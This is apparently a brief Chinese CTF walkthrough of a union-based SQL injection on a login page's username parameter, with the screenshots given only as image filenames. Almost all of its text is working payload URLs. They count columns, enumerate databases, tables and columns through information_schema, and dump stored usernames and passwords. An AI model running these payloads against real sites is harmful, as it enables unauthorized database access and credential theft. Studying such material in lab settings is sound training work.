img1.png
万能密码尝试登陆,跳转到check.php
img2.png
猜字段数:?username=admina'+order+by+3+%23&password=1
img3.png
img4.png
构造注入语句:?username=admina%27+union+select+1,2,3+%23&password=1
img5.png
当前数据库:?username=admina%27+union+select+1,2,(select+database())+%23&password=1
img6.png
看看有哪些库,也一起看看geek库有那些表:
?username=admina%27+union+select+1,(select+group_concat(schema_name)+from+information_schema.schemata),(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='geek')+%23&password=1
img7.png
看下geekuserl0ve1ysq1有哪些字段:
?username=admina%27+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='geekuser'),(select+group_concat(column_name)+from+information_schema.columns+where+table_name='l0ve1ysq1')+%23&password=1
img8.png
字段是一样的,那两个一起看:
?username=admina%27+union+select+1,(select+concat(id,0x7e,username,0x7e,password)+from+geekuser),(select+group_concat(id,username,password)+from+l0ve1ysq1)+%23&password=1
img9.png
img10.png